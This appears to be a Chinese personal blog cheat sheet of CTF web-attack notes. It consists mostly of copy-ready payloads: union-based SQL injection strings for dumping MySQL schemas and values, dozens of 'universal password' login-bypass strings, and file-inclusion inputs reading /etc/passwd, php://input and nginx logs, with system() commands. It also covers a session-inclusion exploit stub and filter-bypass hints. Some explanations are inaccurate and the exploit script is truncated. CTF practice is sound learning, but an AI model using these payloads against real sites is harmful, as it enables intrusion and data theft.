webctf
CTF_WEB
SQL注入:联合注入
1、数据库为mysql的爆库、爆表、爆字段、爆值的语句:
爆库:
1 | union select 1,2,3,database();#查看此处有多字段 |
爆表:
1 | union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database(); # |
爆字段:
1 | union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="表名"; # |
爆值:
1 | union select 1,2,3,字段 from 表名; # |
例子:
常规套路:
1、查字段
1 admin'/**/or/**/1=1/**/order/**/by/**/3#admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#2、查库(web2)
1 admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3#3、查表(flag,user)
1 admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#
1 admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#(模板)4、查字段flag
1 admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#5、查字段flag内容
1 admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#
*




注意查找字段图中红色字体错误了,应该为information_schema.columns/**/,图中column少了s



session文件包含
实战例子:
CTFshow/ easy_include
1 |
|
代码解释:
观察cookie,发现自动开启了session,直接session文件包含
如果能获取PHPSESSID
“请求 Cookie”: {
“PHPSESSID”: “a5c4fd8ef729d435160c08a37d20ed7a”
}
EXP:
1 | import requests |
php文件漏洞
get方式查看文件漏洞
1 | ?url=/etc/passwd |
使用php协议
1 | ?url=php://input |
查看PHP下的文夹使用ls
1 | system("ls") |
查看php下的文件夹中的文件内容cat
1 | system("cat 文件夹名称") |
查看文件日志的文件夹
1 | ?url=/var/log/nginx/access.log |
万能密码
‘r 1=1 #
==============
账号: admin
密码:admin===============
账号:admin
密码:admin888===============
账号:admin
密码:域名名
==============
asp aspx万能密码
“or ‘a’=”a
‘’)or(‘a’=’a
or 1=1–
‘or 1=1–
a’or’ 1=1–
“or 1=1–
‘or’a’=’a
“or”=”a’=’a
‘or”=’
‘or’=’or’admin’or 1=1#
‘=’&password=’=’
admin’ or 1=1#
admin’//or//1=1#
admin’/*
*/‘1 or ‘1’=’1’=1
1 or ‘1’=’1’ or 1=1
‘OR 1=1%00
“or 1=1%00
‘xor## PHP万能密码‘or’=’or’
‘or 1=1/* 字符型 GPC是否开都可以使用
User: something
Pass: ‘OR ‘1’=’1jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*
用户名:admin 系统存在这个用户的时候 才用得上
密码:1’or’1’=’1
万能账号
a’ or true #
账号:…admin’ or ‘a’=’a 密码随便填
正则表达式
/or|-||/|*|<|>|!|x|hex|(|)|+|select/i
/:这个符号表示正则表达式模式的开始和结束。|:这个符号代表“或”条件,意味着可以匹配两边的任何模式。- \-, \, /, \*, <, >, !, x, hex, (, ), +, select`: 这些是正则表达式将尝试匹配的实际模式。这些模式中的一些代表特定字符,而其他一些代表某些条件。
-:匹配破折号字符。\\:匹配反斜杠字符。\/:匹配正斜杠字符。\\*:匹配星号字符。\<:匹配单词的开头。\>:匹配单词的结尾。\!:匹配感叹号字符。x:匹配字母 ‘x’。hex:匹配字符串 ‘hex’。\(:匹配左括号。\):匹配右括号。\+:匹配加号。select:匹配字符串 ‘select’。可以使用管道符||绕过和使用取反符号~~绕过
- Title: webctf
- Author: 敬请T期待
- Created at : 2024-03-13 12:05:53
- Updated at : 2024-09-11 21:53:01
- Link: https://kingwempity.github.io/2024/03/13/webctf/
- License: This work is licensed under CC BY-NC-SA 4.0.